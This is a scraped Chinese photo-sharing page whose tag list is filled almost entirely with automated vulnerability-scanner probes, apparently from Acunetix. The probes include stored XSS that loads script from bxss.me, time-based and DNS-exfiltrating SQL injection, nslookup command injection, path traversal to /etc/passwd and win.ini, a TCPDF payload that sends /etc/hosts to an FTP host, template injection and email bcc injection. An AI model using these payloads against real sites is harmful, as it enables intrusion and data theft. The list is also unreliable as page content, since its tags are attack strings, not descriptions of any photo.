×
照片标签：
- 1
- 1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source)
- s.src=(/
- /+/bxss.me\/s?u=014892&r=7-52621&h=7-e3cba-2&/).slice(2)
- document.documentElement.appendChild(s))//'>
- 1'>"><script src=http://bxss.me/s?u=014892&r=7-52622&h=7-e3cba-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss
- 014892
- 7-52622
- 7
- e3cba
- %22%5D"/>
- set|set&set
- $(nslookup dns.ce.\014892.7-52627.7.e3cba.\1.bxss.me)
- &nslookup dns.ce.\014892.7-52628.7.e3cba.\1.bxss.me&'\"`0&nslookup dns.ce.\014892.7-52628.7.e3cba.\1.bxss.me&`'
- nARecrF3
- nJ3svakI
- -1 OR 2+453-453-1=0+0+0+1 --
- -1 OR 2+421-421-1=0+0+0+1
- -1' OR 2+683-683-1=0+0+0+1 --
- -1' OR 2+66-66-1=0+0+0+1 or 'DlRnT4be'='
- -1" OR 2+553-553-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(6)
- 0)/*'XOR(if(now()=sysdate()
- 0))OR'"XOR(if(now()=sysdate()
- 0))OR"*/
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:6' --
- ISkALZQG'
- ../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../../proc/version
- -1))
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- 2SgPKvvD'
- ../../../../../../../../../../etc/passwd .jpg
- NJLfiULb')
- /../..//../..//../..//../..//../..//etc/passwd .jpg
- 1H1n9fEP'))
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- '||(select 1 from (select pg_sleep(3))x)||'
- /etc/passwd
- ''||(select 1 from (select pg_sleep(3))x)||''
- %2fetc%2fpasswd
- 1||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-52633.7.e3cba.1.bxss'||'.me')
- /.././.././.././.././.././.././.././../etc/./passwd%00
- '||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-52634.7.e3cba.1.bxss'||'.me')||'
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- 1'
- 793'
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- WEB-INF/web.xml
- /WEB-INF/web.xml
- WEB-INF\web.xml
- ../../../../../../../../../../windows/win.ini
- C:\WINDOWS\system32\drivers\etc\hosts
- ../../../../../../../../../../windows/win.ini .jpg
- ................windowswin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- 1 bcc:014892.7-52641.7.e3cba.1@bxss.me
- to@example.com> bcc:014892.7-52642.7.e3cba.1@bxss.me
- ${9999608+9999952}
- 1&n996023=v957525
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- )
- 1some_inexistent_file_with_long_name .jpg
- !(()&&!|*|*|
- Http://testasp.vulnweb.com/t/fit.txt
- http://testasp.vulnweb.com/t/fit.txt?.jpg
- testasp.vulnweb.com
- ^(#$!@#$)(()))******
- '"()
- response.write(9791417*9244301)
- '+response.write(9791417*9244301)+'
- http://testasp.vulnweb.com/t/xss.html?%00.jpg
- "+response.write(9791417*9244301)+"
- '
- "
- ${@print(md5(acunetix_wvs_security_test))}
- bibs
- ${@print(md5(acunetix_wvs_security_test))}\
- http://hity8Rnd9nPRm.bxss.me/
- bibs/.
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /www.vulnweb.com
- '"
- <!--
- 1'"()&%<acx><ScRiPt >ryuw(9797)</ScRiPt>
- '"()&%<acx><ScRiPt >ryuw(9413)</ScRiPt>
- 19757801
- acu8306＜s1﹥s2ʺs3ʹuca8306
- {{9999680*9999725}}
- acu9346＜s1﹥s2ʺs3ʹuca9346
- {{10000096*9999895}}
- acu2660＜s1﹥s2ʺs3ʹuca2660
- {{9999356*9999959}}
- 1"onmouseover=ryuw(9164)"
- 1" dP62=ryuw([!+!]) LJK="
- 1\u0022onmouseover=ryuw(9676)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%72%79%75%77%28%39%30%36%32%29%22
- 1"sTYLe='acu:Expre/**/SSion(ryuw(9576))'bad="
- 1"><script>ryuw(9961)</script>
- 1"onmouseover=ryuw(9248)"
- 1" CMmD=ryuw([!+!]) YmM="
- 1\u0022onmouseover=ryuw(9227)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%72%79%75%77%28%39%32%32%36%29%22
- 1"sTYLe='acu:Expre/**/SSion(ryuw(9380))'bad="
- 1"><script>ryuw(9307)</script>
- 1<ScRiPt >ryuw(9209)</ScRiPt>
- 1<WU7IUU>DRWF3[!+!]</WU7IUU>
- 1<script>ryuw(9888)</script>
- 1<ScR<ScRiPt>IpT>ryuw(9460)</sCr<ScRiPt>IpT>
- 1<ScRiPt >ryuw(9070)</ScRiPt>
- 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9138></ScRiPt>
- 1< ScRiPt >ryuw(9258)</ScRiPt>
- 1<video><source onerror="javascript:ryuw(9335)">
- 1<isindex type=image src=1 onerror=ryuw(9629)>
- 1<iframe src='data:text/html
- 1<body onload=ryuw(9932)>
- 1<img src=//testasp.vulnweb.com/t/dot.gif onload=ryuw(9856)>
- 1<img src=xyz OnErRor=ryuw(9560)>
- 1<img/src=">" onerror=alert(9570)>
- %31%3C%53%63%52%69%50%74%20%3E%72%79%75%77%289527%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\ryuw(9009)\u003C/sCripT\u003E
- 1<
- 1<input autofocus onfocus=ryuw(9281)>
- <a HrEF=http://www.vulnweb.com></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://www.vulnweb.com][/url]
- 1<img<!-- --> src=x onerror=alert(9509)
- 1}body{acu:Expre/**/SSion(ryuw(9769))}
- 1<% contenteditable onresize=ryuw(9756)>
- 17twVp <ScRiPt >ryuw(9280)</ScRiPt>
- 1<WD9SFK>FA1MB[!+!]</WD9SFK>
- 1<ifRAme sRc=9414.com></IfRamE>
- 1<XpB59S x=9916>
- 1<img sRc='http://attacker-9375/log.php?
- 1<DMdQM7<
- 1'"
- \
- @@TnSYJ
- JyI=
微信扫一扫, 保存到手机
